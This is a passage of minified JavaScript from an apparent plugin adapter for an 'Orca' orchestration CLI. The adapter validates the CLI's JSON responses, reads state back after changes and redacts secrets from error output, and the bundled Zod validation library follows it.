not one JSON document")}let s=fn.safeParse(n);if(!s.success)throw r?ee(t,"decode","stdout did not match the Orca envelope contract"):new w("unexpected_response",t,"decode","safe","Use a compatible Orca CLI version.","stdout did not match the Orca envelope contract");if(s.data.ok&&!ln[t].safeParse(s.data.result).success)throw r?ee(t,"receipt",`success result did not match the finite ${t} response contract`):new w("unexpected_response",t,"decode","safe","Use a compatible Orca CLI version and inspect the public operation result.",`success result did not match the finite ${t} response contract`);return s.data}function It(t){let e=[],r=!1,n=0;for(;n<t.length;){let s=t[n];if(s==='"'){let a=n;for(n+=1;n<t.length;)if(t[n]==="\\")n+=2;else{if(t[n]==='"')break;n+=1}if(n>=t.length)throw new Error("unterminated JSON string");if(r){let i=JSON.parse(t.slice(a,n+1)),o=e.at(-1);if(o==null||o.has(i))throw new Error("duplicate JSON key");o.add(i),r=!1}}else s==="{"?(e.push(new Set),r=!0):s==="["?e.push(null):s==="}"||s==="]"?e.pop():s===","&&e.at(-1)instanceof Set&&(r=!0);n+=1}return JSON.parse(t)}var Ke=new Set(["run-create","run-use","task-create","task-update","worker-start","worker-release","send","reply","ask","gate-create","gate-resolve"]);function Qe(t,e){return t==="check"&&typeof e=="object"&&e!==null&&"ack"in e}function Ye(t){return t}function ye(t,e){let r=t[e];return typeof r=="object"&&r!==null?r.id:void 0}function hn(t,e){let r=e;if(t==="run-create"||t==="run-use"){let s=r.runId??ye(r,"run");return Object.freeze(typeof s=="string"?{runId:s}:{})}if(t==="task-create"||t==="task-update"){let s=r.taskId??ye(r,"task");return Object.freeze(typeof s=="string"?{taskId:s}:{})}return Object.freeze(Object.fromEntries(({"run-create":["runId"],"run-use":["runId"],"task-create":["taskId"],"task-update":["taskId"],"worker-start":["dispatchId","taskId"],"worker-release":["dispatchId"],send:["messageId"],reply:["messageId"],ask:["messageId"],check:["deliveryId"],"gate-create":["gateId","taskId"],"gate-resolve":["gateId","taskId"]}[t]??[]).flatMap(s=>typeof r[s]=="string"?[[s,r[s]]]:[])))}function gn(t,e){if(t.operation==="run-use"){let r=e,n=r.runId??ye(r,"run");return{operation:{operation:"run-current"},matches:s=>{let a=s,i=a.run;return n===t.id&&i.id===t.id}}}if(t.operation==="gate-resolve"){let r=e;return{operation:{operation:"gate-list",task:t.task},matches:n=>{if(r.gateId!==t.id||r.taskId!==t.task)return!1;let s=n.gates;if(!Array.isArray(s))return!1;let a=s.map(Ye).filter(i=>i.id===t.id);return a.length===1&&a[0].taskId===t.task&&a[0].status==="resolved"&&a[0].resolution===t.resolution}}}if(t.operation==="worker-release"){let r=e;return{operation:{operation:"worker-show",dispatch:t.dispatch},matches:n=>{let s=n.dispatch;return r.dispatchId===t.dispatch&&s.id===t.dispatch&&["released","retained"].includes(String(s.terminalDisposition))}}}if(t.operation==="run-create"){let r=e,n=r.runId??ye(r,"run");return{operation:{operation:"run-show",id:String(n)},matches:s=>{let a=s.run;return a.id===n&&a.objective===t.objective}}}if(t.operation==="task-create"||t.operation==="task-update"){let r=e,n=r.taskId??ye(r,"task"),s=t.operation==="task-create"?n:t.id;return{operation:{operation:"task-list"},matches:a=>{if(n!==s)return!1;let i=a.tasks;if(!Array.isArray(i))return!1;let o=i.map(Ye).filter(d=>d.id===s);if(o.length!==1)return!1;let c=o[0];return t.operation==="task-create"&&"run_id"in c?c.spec===t.spec&&c.task_title===(t.title??t.spec)&&c.deps===JSON.stringify(t.deps??[])&&c.parent_id===(t.parent??null):t.operation==="task-create"?c.spec===t.spec&&c.title===t.title&&JSON.stringify(c.deps??[])===JSON.stringify(t.deps??[])&&c.parent===t.parent:c.status===t.status&&(JSON.stringify(c.result)===JSON.stringify(t.result)||c.result===JSON.stringify(t.result))}}}if(t.operation==="worker-start"){let r=e,n=r.dispatchId;return{operation:{operation:"worker-show",dispatch:String(n)},matches:s=>{let a=s.dispatch;return r.taskId===t.task&&a.id===n&&a.taskId===t.task&&a.agent===t.agent&&a.model===t.model&&a.effort===t.effort}}}if(t.operation==="gate-create"){let r=e,n=r.gateId;return{operation:{operation:"gate-list",task:t.task},matches:s=>{let a=s.gates;if(!Array.isArray(a)||r.taskId!==t.task)return!1;let i=a.map(Ye).filter(c=>c.id===n);if(i.length!==1)return!1;let o=i[0];return o?.taskId===t.task&&o.question===t.question&&JSON.stringify(o.options)===JSON.stringify(t.options)}}}}function yn(t,e,r){let n=Qe(t,e),s=Ke.has(t)||n;if(r.outputLimited||r.transportLost)return s?ee(t,"execute",r.outputLimited?"Orca output exceeded the adapter limit":"Orca transport closed before a valid response"):_t(t,r.outputLimited?"output_limit":"process_exit",r.outputLimited?"Orca output exceeded the adapter limit":"Orca transport closed before a valid response");if(r.timedOut)return s?ee(t,"execute","Orca did not finish before the deadline"):_t(t,"timeout","Orca did not finish before the deadline");if(r.exitCode!==0)return s?new w("ambiguous_after_possible_commit",t,"execute","unrecoverably-ambiguous","Do not retry automatically; inspect the documented public read operation before choosing another mutation.",`Orca exited with status ${r.exitCode??"signal"}`,r.stderr):new w("process_exit",t,"execute",s?"readback-required":"safe","Inspect Orca state and use the documented recovery operation.",`Orca exited with status ${r.exitCode??"signal"}`,r.stderr.slice(-4096))}function _t(t,e,r){return new w(e,t,"execute","safe","Retry the read-only operation when Orca is healthy.",r)}function Rt(t={}){let e=Object.freeze({...t.env??process.env}),r=Xr({platform:t.platform,managedTerminal:t.managedTerminal??e.TERM_PROGRAM==="Orca"}),n=t.executor??St,s=t.timeoutMs??en,a=t.now??(()=>new Date),i=async(c,d)=>{try{return await n({executable:r,argv:c,shell:!1,timeoutMs:s,maxStdoutBytes:tn,maxStderrBytes:rn,env:e})}catch(m){throw new w("executable_unavailable",d,"resolve","safe","Verify that the deterministic Orca executable is installed and available, then retry.",m instanceof Error&&"code"in m?`Orca execution failed (${String(m.code)})`:"Orca execution failed")}},o=async c=>{let d=ht(c),m=await i(d,c.operation);m={...m,stderr:bn(m.stderr,c,e)};let T=Ke.has(c.operation)||Qe(c.operation,c),C=yn(c.operation,c,m);if(C!==void 0)throw C;let N=mn(c.operation,m.stdout,T);if(!N.ok){let _e=tt(N.error?.message??"Orca returned an error envelope",c,e);throw T?ee(c.operation,"decode",_e):new w("unexpected_response",c.operation,"decode",T?"readback-required":"safe","Follow the public Orca diagnostic and inspect state before retrying.",_e)}return N};return Object.freeze({executable:r,async status(){let c=await i(["status","--json"],"runtime");if(c.outputLimited||c.transportLost||c.timedOut||c.exitCode!==0)throw new w(c.outputLimited?"output_limit":c.timedOut?"timeout":"process_exit","runtime","execute","safe","Restore the public Orca runtime and retry the compatibility probe.","Orca status did not complete successfully");let d;try{d=It(c.stdout)}catch{throw new w("malformed_json","runtime","decode","safe","Use a compatible Orca CLI version.","Orca status was not one JSON document")}let m=pn.safeParse(d);if(!m.success)throw new w("unexpected_response","runtime","decode","safe","Use a compatible Orca CLI version.","Orca status did not match the strict runtime compatibility contract");return m.data},async execute(c){let d=Tt.safeParse(c);if(!d.success)throw ht(c),new Error("unreachable");let m=d.data,T=a().toISOString(),C=await o(m);return!Ke.has(m.operation)&&!Qe(m.operation,m)?C:_n(m,C,T,o,a,e)}})}async function _n(t,e,r,n,s,a){xn(t,e);let i=gn(t,e.result);if(i!==void 0){let d;try{d=await n(i.operation)}catch(m){throw vn(t,i.operation.operation,m,a)}if(!i.matches(d.result))throw new w("readback_mismatch",t.operation,"readback","unsafe",`Inspect state with orchestration ${i.operation.operation}; do not retry the mutation automatically.`,`${i.operation.operation} disagreed with the mutation receipt`)}let o=e._meta,c=Object.freeze({verb:t.operation,ids:hn(t.operation,e.result),runtimeId:o.runtimeId,runtimeVersion:o.runtimeVersion??null,startedAt:r,completedAt:s().toISOString(),readbackVerb:i?.operation.operation??null});return Object.freeze({...e,receipt:c})}function vn(t,e,r,n){return r instanceof w?new w(r.code,t.operation,"readback","readback-required",`Repeat or inspect orchestration ${e}; do not retry the mutation automatically.`,tt(`${e} failed after Orca returned a valid mutation receipt: ${r.message}`,t,n),r.stderr):new w("unexpected_response",t.operation,"readback","unrecoverably-ambiguous",`Inspect state with orchestration ${e}; do not retry the mutation automatically.`,`${e} failed after Orca returned a valid mutation receipt`)}function xn(t,e){if(e._meta?.runtimeId===void 0)throw ee(t.operation,"receipt","mutation receipt omitted bounded runtime identity metadata");if(!kn(t,e.result))throw new w("readback_mismatch",t.operation,"receipt","unsafe","Inspect the requested entity with its documented public read operation; do not retry automatically.","mutation receipt identity disagreed with the requested entity");if(t.operation==="check"&&t.ack!==void 0&&e.result.acknowledged!==!0)throw ee(t.operation,"receipt","check --ack success did not contain its matching delivery identifier");if(t.operation==="run-use"&&"coordinatorTerminalHandle"in e.result&&e.result.coordinatorTerminalHandle!==e._meta.invokingTerminal)throw new w("readback_mismatch",t.operation,"readback","unsafe","Inspect orchestration run-current; do not retry run-use automatically.","run-use terminal binding was not runtime-attested")}function kn(t,e){let r=e;switch(t.operation){case"run-use":return(r.runId??ye(r,"run"))===t.id;case"task-update":return(r.taskId??ye(r,"task"))===t.id;case"worker-start":return r.taskId===t.task;case"worker-release":return r.dispatchId===t.dispatch;case"reply":return r.messageId===t.id;case"ask":return t.resume===void 0||r.messageId===t.resume;case"check":return t.ack===void 0||r.deliveryId===t.ack;case"gate-create":return r.taskId===t.task;case"gate-resolve":return r.gateId===t.id&&r.taskId===t.task;default:return!0}}function bn(t,e,r){return tt(t,e,r)}function tt(t,e,r){let n=[...t].filter(c=>{let d=c.charCodeAt(0);return d===9||d===10||d===13||d>=32&&d!==127&&d<128||d>159}).join(""),s=Xe(e),a=Object.entries(r).filter(([c,d])=>d!==void 0&&/(?:TOKEN|SECRET|PASSWORD|PASS|KEY|CREDENTIAL|AUTH|COOKIE)/i.test(c)).map(([,c])=>c),i=Object.values(r).flatMap(c=>c===void 0?[]:wn(c));for(let c of[...s,...a,...i].filter(d=>d.length>=3).sort((d,m)=>m.length-d.length))n=n.split(c).join("[REDACTED]");let o=Buffer.from(n,"utf8");return o.length<=4096?n:Buffer.concat([Buffer.from("[truncated] "),o.subarray(o.length-4084)]).toString("utf8")}function wn(t){try{let e=new URL(t);if(e.password.length===0)return[];try{return[e.password,decodeURIComponent(e.password)]}catch{return[e.password]}}catch{return[]}}function Xe(t){return typeof t=="string"?[t]:Array.isArray(t)?t.flatMap(Xe):typeof t=="object"&&t!==null?Object.values(t).flatMap(Xe):[]}function Be(){return Rt()}var ns=Object.freeze({createAdapter:Rt,spawnOrcaProcess:St});var On="1.4.192",At="orchestration.contract.v1";function Ct(t){return new w("unsupported_environment","runtime","resolve","safe","Run this plugin in a supported Orca host with the public orchestration contract and child-process access.",t)}function Et(t){let e=/^(\d+)\.(\d+)\.(\d+)(?:[-+].*)?$/.exec(t);if(e!==null)return e.slice(1).map(Number)}function Tn(t,e){let r=Et(t),n=Et(e);if(r===void 0||n===void 0)return!1;for(let s=0;s<3;s+=1)if(r[s]!==n[s])return r[s]>n[s];return!0}async function jt(t){try{let e=await t.status(),r=e.result.runtime.runtimeId,n=e.result.runtime.appVersion;if(!Tn(n,On)||!e.result.runtime.capabilities.includes(At))throw Ct("Orca runtime version or orchestration contract is outside the supported range.");return Object.freeze({runtimeId:r,runtimeVersion:n,contract:At})}catch(e){throw e instanceof w&&e.code==="unsupported_environment"?e:Ct("The Orca compatibility probe could not complete through the public adapter.")}}function Nt(t=Be()){return Object.freeze({probe:()=>jt(t),async execute(e){return await jt(t),t.execute(e)}})}var Sn="genie.orca.run-list";function In(t=Be()){let e=Nt(t);return async r=>{r.commands.register(Sn,()=>e.execute({operation:"run-list",limit:100}))}}var ds=In();export{Sn as ORCA_RUN_LIST_COMMAND,In as createOrcaPluginEntrypoint,ds as default}; +var Zt=Object.defineProperty;var zt=(t,e)=>{for(var r in e)Zt(t,r,{get:e[r],enumerable:!0})};import{spawn as Yr}from"node:child_process";var d={};zt(d,{BRAND:()=>lr,DIRTY:()=>ne,EMPTY_PATH:()=>Ut,INVALID:()=>g,NEVER:()=>Gr,OK:()=>E,ParseStatus:()=>C,Schema:()=>x,ZodAny:()=>X,ZodArray:()=>G,ZodBigInt:()=>ae,ZodBoolean:()=>ie,ZodBranded:()=>je,ZodCatch:()=>ye,ZodDate:()=>oe,ZodDefault:()=>ge,ZodDiscriminatedUnion:()=>$e,ZodEffects:()=>z,ZodEnum:()=>me,ZodError:()=>j,ZodFirstPartyTypeKind:()=>_,ZodFunction:()=>ze,ZodIntersection:()=>le,ZodIssueCode:()=>l,ZodLazy:()=>fe,ZodLiteral:()=>pe,ZodMap:()=>Se,ZodNaN:()=>Re,ZodNativeEnum:()=>he,ZodNever:()=>L,ZodNull:()=>ue,ZodNullable:()=>q,ZodNumber:()=>se,ZodObject:()=>N,ZodOptional:()=>$,ZodParsedType:()=>p,ZodPipeline:()=>Ne,ZodPromise:()=>Q,ZodReadonly:()=>_e,ZodRecord:()=>Ze,ZodSchema:()=>x,ZodSet:()=>Ie,ZodString:()=>K,ZodSymbol:()=>Oe,ZodTransformer:()=>z,ZodTuple:()=>U,ZodType:()=>x,ZodUndefined:()=>ce,ZodUnion:()=>de,ZodUnknown:()=>H,ZodVoid:()=>Te,addIssueToContext:()=>f,any:()=>xr,array:()=>Or,bigint:()=>hr,boolean:()=>ht,coerce:()=>Hr,custom:()=>ft,date:()=>gr,datetimeRegex:()=>dt,defaultErrorMap:()=>F,discriminatedUnion:()=>Rr,effect:()=>Lr,enum:()=>$r,function:()=>Mr,getErrorMap:()=>ke,getParsedType:()=>B,instanceof:()=>pr,intersection:()=>Ar,isAborted:()=>Ve,isAsync:()=>be,isDirty:()=>Pe,isValid:()=>Y,late:()=>fr,lazy:()=>Vr,literal:()=>Pr,makeIssue:()=>Ee,map:()=>jr,nan:()=>mr,nativeEnum:()=>Zr,never:()=>br,null:()=>vr,nullable:()=>Br,number:()=>mt,object:()=>Tr,objectUtil:()=>We,oboolean:()=>Wr,onumber:()=>Fr,optional:()=>Dr,ostring:()=>Jr,pipeline:()=>qr,preprocess:()=>Ur,promise:()=>zr,quotelessJson:()=>Lt,record:()=>Er,set:()=>Nr,setErrorMap:()=>Bt,strictObject:()=>Sr,string:()=>pt,symbol:()=>yr,transformer:()=>Lr,tuple:()=>Cr,undefined:()=>_r,union:()=>Ir,unknown:()=>kr,util:()=>k,void:()=>wr});var k;(function(t){t.assertEqual=s=>{};function e(s){}t.assertIs=e;function r(s){throw new Error}t.assertNever=r,t.arrayToEnum=s=>{let a={};for(let i of s)a[i]=i;return a},t.getValidEnumValues=s=>{let a=t.objectKeys(s).filter(o=>typeof s[s[o]]!="number"),i={};for(let o of a)i[o]=s[o];return t.objectValues(i)},t.objectValues=s=>t.objectKeys(s).map(function(a){return s[a]}),t.objectKeys=typeof Object.keys=="function"?s=>Object.keys(s):s=>{let a=[];for(let i in s)Object.prototype.hasOwnProperty.call(s,i)&&a.push(i);return a},t.find=(s,a)=>{for(let i of s)if(a(i))return i},t.isInteger=typeof Number.isInteger=="function"?s=>Number.isInteger(s):s=>typeof s=="number"&&Number.isFinite(s)&&Math.floor(s)===s;function n(s,a=" | "){return s.map(i=>typeof i=="string"?`'${i}'`:i).join(a)}t.joinValues=n,t.jsonStringifyReplacer=(s,a)=>typeof a=="bigint"?a.toString():a})(k||(k={}));var We;(function(t){t.mergeShapes=(e,r)=>({...e,...r})})(We||(We={}));var p=k.arrayToEnum(["string","nan","number","integer","float","boolean","date","bigint","symbol","function","undefined","null","array","object","unknown","promise","void","never","map","set"]),B=t=>{switch(typeof t){case"undefined":return p.undefined;case"string":return p.string;case"number":return Number.isNaN(t)?p.nan:p.number;case"boolean":return p.boolean;case"function":return p.function;case"bigint":return p.bigint;case"symbol":return p.symbol;case"object":return Array.isArray(t)?p.array:t===null?p.null:t.then&&typeof t.then=="function"&&t.catch&&typeof t.catch=="function"?p.promise:typeof Map<"u"&&t instanceof Map?p.map:typeof Set<"u"&&t instanceof Set?p.set:typeof Date<"u"&&t instanceof Date?p.date:p.object;default:return p.unknown}};var l=k.arrayToEnum(["invalid_type","invalid_literal","custom","invalid_union","invalid_union_discriminator","invalid_enum_value","unrecognized_keys","invalid_arguments","invalid_return_type","invalid_date","invalid_string","too_small","too_big","invalid_intersection_types","not_multiple_of","not_finite"]),Lt=t=>JSON.stringify(t,null,2).replace(/"([^"]+)":/g,"$1:"),j=class t extends Error{get errors(){return this.issues}constructor(e){super(),this.issues=[],this.addIssue=n=>{this.issues=[...this.issues,n]},this.addIssues=(n=[])=>{this.issues=[...this.issues,...n]};let r=new.target.prototype;Object.setPrototypeOf?Object.setPrototypeOf(this,r):this.__proto__=r,this.name="ZodError",this.issues=e}format(e){let r=e||function(a){return a.message},n={_errors:[]},s=a=>{for(let i of a.issues)if(i.code==="invalid_union")i.unionErrors.map(s);else if(i.code==="invalid_return_type")s(i.returnTypeError);else if(i.code==="invalid_arguments")s(i.argumentsError);else if(i.path.length===0)n._errors.push(r(i));else{let o=n,c=0;for(;c<i.path.length;){let u=i.path[c];c===i.path.length-1?(o[u]=o[u]||{_errors:[]},o[u]._errors.push(r(i))):o[u]=o[u]||{_errors:[]},o=o[u],c++}}};return s(this),n}static assert(e){if(!(e instanceof t))throw new Error(`Not a ZodError: ${e}`)}toString(){return this.message}get message(){return JSON.stringify(this.issues,k.jsonStringifyReplacer,2)}get isEmpty(){return this.issues.length===0}flatten(e=r=>r.message){let r={},n=[];for(let s of this.issues)if(s.path.length>0){let a=s.path[0];r[a]=r[a]||[],r[a].push(e(s))}else n.push(e(s));return{formErrors:n,fieldErrors:r}}get formErrors(){return this.flatten()}};j.create=t=>new j(t);var Dt=(t,e)=>{let r;switch(t.code){case l.invalid_type:t.received===p.undefined?r="Required":r=`Expected ${t.expected}, received ${t.received}`;break;case l.invalid_literal:r=`Invalid literal value, expected ${JSON.stringify(t.expected,k.jsonStringifyReplacer)}`;break;case l.unrecognized_keys:r=`Unrecognized key(s) in object: ${k.joinValues(t.keys,", ")}`;break;case l.invalid_union:r="Invalid input";break;case l.invalid_union_discriminator:r=`Invalid discriminator value. Expected ${k.joinValues(t.options)}`;break;case l.invalid_enum_value:r=`Invalid enum value. Expected ${k.joinValues(t.options)}, received '${t.received}'`;break;case l.invalid_arguments:r="Invalid function arguments";break;case l.invalid_return_type:r="Invalid function return type";break;case l.invalid_date:r="Invalid date";break;case l.invalid_string:typeof t.validation=="object"?"includes"in t.validation?(r=`Invalid input: must include "${t.validation.includes}"`,typeof t.validation.position=="number"&&(r=`${r} at one or more positions greater than or equal to ${t.validation.position}`)):"startsWith"in t.validation?r=`Invalid input: must start with "${t.validation.startsWith}"`:"endsWith"in t.validation?r=`Invalid input: must end with "${t.validation.endsWith}"`:k.assertNever(t.validation):t.validation!=="regex"?r=`Invalid ${t.validation}`:r="Invalid";break;case l.too_small:t.type==="array"?r=`Array must contain ${t.exact?"exactly":t.inclusive?"at least":"more than"} ${t.minimum} element(s)`:t.type==="string"?r=`String must contain ${t.exact?"exactly":t.inclusive?"at least":"over"} ${t.minimum} character(s)`:t.type==="number"?r=`Number must be ${t.exact?"exactly equal to ":t.inclusive?"greater than or equal to ":"greater than "}${t.minimum}`:t.type==="bigint"?r=`Number must be ${t.exact?"exactly equal to ":t.inclusive?"greater than or equal to ":"greater than "}${t.minimum}`:t.type==="date"?r=`Date must be ${t.exact?"exactly equal to ":t.inclusive?"greater than or equal to ":"greater than "}${new Date(Number(t.minimum))}`:r="Invalid input";break;case l.too_big:t.type==="array"?r=`Array must contain ${t.exact?"exactly":t.inclusive?"at most":"less than"} ${t.maximum} element(s)`:t.type==="string"?r=`String must contain ${t.exact?"exactly":t.inclusive?"at most":"under"} ${t.maximum} character(s)`:t.type==="number"?r=`Number must be ${t.exact?"exactly":t.inclusive?"less than or equal to":"less than"} ${t.maximum}`:t.type==="bigint"?r=`BigInt must be ${t.exact?"exactly":t.inclusive?"less than or equal to":"less than"} ${t.maximum}`:t.type==="date"?r=`Date must be ${t.exact?"exactly":t.inclusive?"smaller than or equal to":"smaller than"} ${new Date(Number(t.maximum))}`:r="Invalid input";break;case l.custom:r="Invalid input";break;case l.invalid_intersection_types:r="Intersection results could not be merged";break;case l.not_multiple_of:r=`Number must be a multiple of ${t.multipleOf}`;break;case l.not_finite:r="Number must be finite";break;default:r=e.defaultError,k.assertNever(t)}return{message:r}},F=Dt;var at=F;function Bt(t){at=t}function ke(){return at}var Ee=t=>{let{data:e,path:r,errorMaps:n,issueData:s}=t,a=[...r,...s.path||[]],i={...s,path:a};if(s.message!==void 0)return{...s,path:a,message:s.message};let o="",c=n.filter(u=>!!u).slice().reverse();for(let u of c)o=u(i,{data:e,defaultError:o}).message;return{...s,path:a,message:o}},Ut=[];function f(t,e){let r=ke(),n=Ee({issueData:e,data:t.data,path:t.path,errorMaps:[t.common.contextualErrorMap,t.schemaErrorMap,r,r===F?void 0:F].filter(s=>!!s)});t.common.issues.push(n)}var C=class t{constructor(){this.value="valid"}dirty(){this.value==="valid"&&(this.value="dirty")}abort(){this.value!=="aborted"&&(this.value="aborted")}static mergeArray(e,r){let n=[];for(let s of r){if(s.status==="aborted")return g;s.status==="dirty"&&e.dirty(),n.push(s.value)}return{status:e.value,value:n}}static async mergeObjectAsync(e,r){let n=[];for(let s of r){let a=await s.key,i=await s.value;n.push({key:a,value:i})}return t.mergeObjectSync(e,n)}static mergeObjectSync(e,r){let n={};for(let s of r){let{key:a,value:i}=s;if(a.status==="aborted"||i.status==="aborted")return g;a.status==="dirty"&&e.dirty(),i.status==="dirty"&&e.dirty(),a.value!=="__proto__"&&(typeof i.value<"u"||s.alwaysSet)&&(n[a.value]=i.value)}return{status:e.value,value:n}}},g=Object.freeze({status:"aborted"}),ne=t=>({status:"dirty",value:t}),E=t=>({status:"valid",value:t}),Ve=t=>t.status==="aborted",Pe=t=>t.status==="dirty",Y=t=>t.status==="valid",be=t=>typeof Promise<"u"&&t instanceof Promise;var m;(function(t){t.errToObj=e=>typeof e=="string"?{message:e}:e||{},t.toString=e=>typeof e=="string"?e:e?.message})(m||(m={}));var Z=class{constructor(e,r,n,s){this._cachedPath=[],this.parent=e,this.data=r,this._path=n,this._key=s}get path(){return this._cachedPath.length||(Array.isArray(this._key)?this._cachedPath.push(...this._path,...this._key):this._cachedPath.push(...this._path,this._key)),this._cachedPath}},it=(t,e)=>{if(Y(e))return{success:!0,data:e.value};if(!t.common.issues.length)throw new Error("Validation failed but no issues detected.");return{success:!1,get error(){if(this._error)return this._error;let r=new j(t.common.issues);return this._error=r,this._error}}};function v(t){if(!t)return{};let{errorMap:e,invalid_type_error:r,required_error:n,description:s}=t;if(e&&(r||n))throw new Error(`Can't use "invalid_type_error" or "required_error" in conjunction with custom error map.`);return e?{errorMap:e,description:s}:{errorMap:(i,o)=>{let{message:c}=t;return i.code==="invalid_enum_value"?{message:c??o.defaultError}:typeof o.data>"u"?{message:c??n??o.defaultError}:i.code!=="invalid_type"?{message:o.defaultError}:{message:c??r??o.defaultError}},description:s}}var x=class{get description(){return this._def.description}_getType(e){return B(e.data)}_getOrReturnCtx(e,r){return r||{common:e.parent.common,data:e.data,parsedType:B(e.data),schemaErrorMap:this._def.errorMap,path:e.path,parent:e.parent}}_processInputParams(e){return{status:new C,ctx:{common:e.parent.common,data:e.data,parsedType:B(e.data),schemaErrorMap:this._def.errorMap,path:e.path,parent:e.parent}}}_parseSync(e){let r=this._parse(e);if(be(r))throw new Error("Synchronous parse encountered promise.");return r}_parseAsync(e){let r=this._parse(e);return Promise.resolve(r)}parse(e,r){let n=this.safeParse(e,r);if(n.success)return n.data;throw n.error}safeParse(e,r){let n={common:{issues:[],async:r?.async??!1,contextualErrorMap:r?.errorMap},path:r?.path||[],schemaErrorMap:this._def.errorMap,parent:null,data:e,parsedType:B(e)},s=this._parseSync({data:e,path:n.path,parent:n});return it(n,s)}"~validate"(e){let r={common:{issues:[],async:!!this["~standard"].async},path:[],schemaErrorMap:this._def.errorMap,parent:null,data:e,parsedType:B(e)};if(!this["~standard"].async)try{let n=this._parseSync({data:e,path:[],parent:r});return Y(n)?{value:n.value}:{issues:r.common.issues}}catch(n){n?.message?.toLowerCase()?.includes("encountered")&&(this["~standard"].async=!0),r.common={issues:[],async:!0}}return this._parseAsync({data:e,path:[],parent:r}).then(n=>Y(n)?{value:n.value}:{issues:r.common.issues})}async parseAsync(e,r){let n=await this.safeParseAsync(e,r);if(n.success)return n.data;throw n.error}async safeParseAsync(e,r){let n={common:{issues:[],contextualErrorMap:r?.errorMap,async:!0},path:r?.path||[],schemaErrorMap:this._def.errorMap,parent:null,data:e,parsedType:B(e)},s=this._parse({data:e,path:n.path,parent:n}),a=await(be(s)?s:Promise.resolve(s));return it(n,a)}refine(e,r){let n=s=>typeof r=="string"||typeof r>"u"?{message:r}:typeof r=="function"?r(s):r;return this._refinement((s,a)=>{let i=e(s),o=()=>a.addIssue({code:l.custom,...n(s)});return typeof Promise<"u"&&i instanceof Promise?i.then(c=>c?!0:(o(),!1)):i?!0:(o(),!1)})}refinement(e,r){return this._refinement((n,s)=>e(n)?!0:(s.addIssue(typeof r=="function"?r(n,s):r),!1))}_refinement(e){return new z({schema:this,typeName:_.ZodEffects,effect:{type:"refinement",refinement:e}})}superRefine(e){return this._refinement(e)}constructor(e){this.spa=this.safeParseAsync,this._def=e,this.parse=this.parse.bind(this),this.safeParse=this.safeParse.bind(this),this.parseAsync=this.parseAsync.bind(this),this.safeParseAsync=this.safeParseAsync.bind(this),this.spa=this.spa.bind(this),this.refine=this.refine.bind(this),this.refinement=this.refinement.bind(this),this.superRefine=this.superRefine.bind(this),this.optional=this.optional.bind(this),this.nullable=this.nullable.bind(this),this.nullish=this.nullish.bind(this),this.array=this.array.bind(this),this.promise=this.promise.bind(this),this.or=this.or.bind(this),this.and=this.and.bind(this),this.transform=this.transform.bind(this),this.brand=this.brand.bind(this),this.default=this.default.bind(this),this.catch=this.catch.bind(this),this.describe=this.describe.bind(this),this.pipe=this.pipe.bind(this),this.readonly=this.readonly.bind(this),this.isNullable=this.isNullable.bind(this),this.isOptional=this.isOptional.bind(this),this["~standard"]={version:1,vendor:"zod",validate:r=>this["~validate"](r)}}optional(){return $.create(this,this._def)}nullable(){return q.create(this,this._def)}nullish(){return this.nullable().optional()}array(){return G.create(this)}promise(){return Q.create(this,this._def)}or(e){return de.create([this,e],this._def)}and(e){return le.create(this,e,this._def)}transform(e){return new z({...v(this._def),schema:this,typeName:_.ZodEffects,effect:{type:"transform",transform:e}})}default(e){let r=typeof e=="function"?e:()=>e;return new ge({...v(this._def),innerType:this,defaultValue:r,typeName:_.ZodDefault})}brand(){return new je({typeName:_.ZodBranded,type:this,...v(this._def)})}catch(e){let r=typeof e=="function"?e:()=>e;return new ye({...v(this._def),innerType:this,catchValue:r,typeName:_.ZodCatch})}describe(e){let r=this.constructor;return new r({...this._def,description:e})}pipe(e){return Ne.create(this,e)}readonly(){return _e.create(this)}isOptional(){return this.safeParse(void 0).success}isNullable(){return this.safeParse(null).success}},qt=/^c[^\s-]{8,}$/i,Jt=/^[0-9a-z]+$/,Ft=/^[0-9A-HJKMNP-TV-Z]{26}$/i,Wt=/^[0-9a-fA-F]{8}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{12}$/i,Ht=/^[a-z0-9_-]{21}$/i,Gt=/^[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_]*$/,Yt=/^[-+]?P(?!$)(?:(?:[-+]?\d+Y)|(?:[-+]?\d+[.,]\d+Y$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:(?:[-+]?\d+W)|(?:[-+]?\d+[.,]\d+W$))?(?:(?:[-+]?\d+D)|(?:[-+]?\d+[.,]\d+D$))?(?:T(?=[\d+-])(?:(?:[-+]?\d+H)|(?:[-+]?\d+[.,]\d+H$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:[-+]?\d+(?:[.,]\d+)?S)?)??$/,Kt=/^(?!\.)(?!.*\.\.)([A-Z0-9_'+\-\.]*)[A-Z0-9_+-]@([A-Z0-9][A-Z0-9\-]*\.)+[A-Z]{2,}$/i,Xt="^(\\p{Extended_Pictographic}|\\p{Emoji_Component})+$",He,Qt=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])$/,er=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\/(3[0-2]|[12]?[0-9])$/,tr=/^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9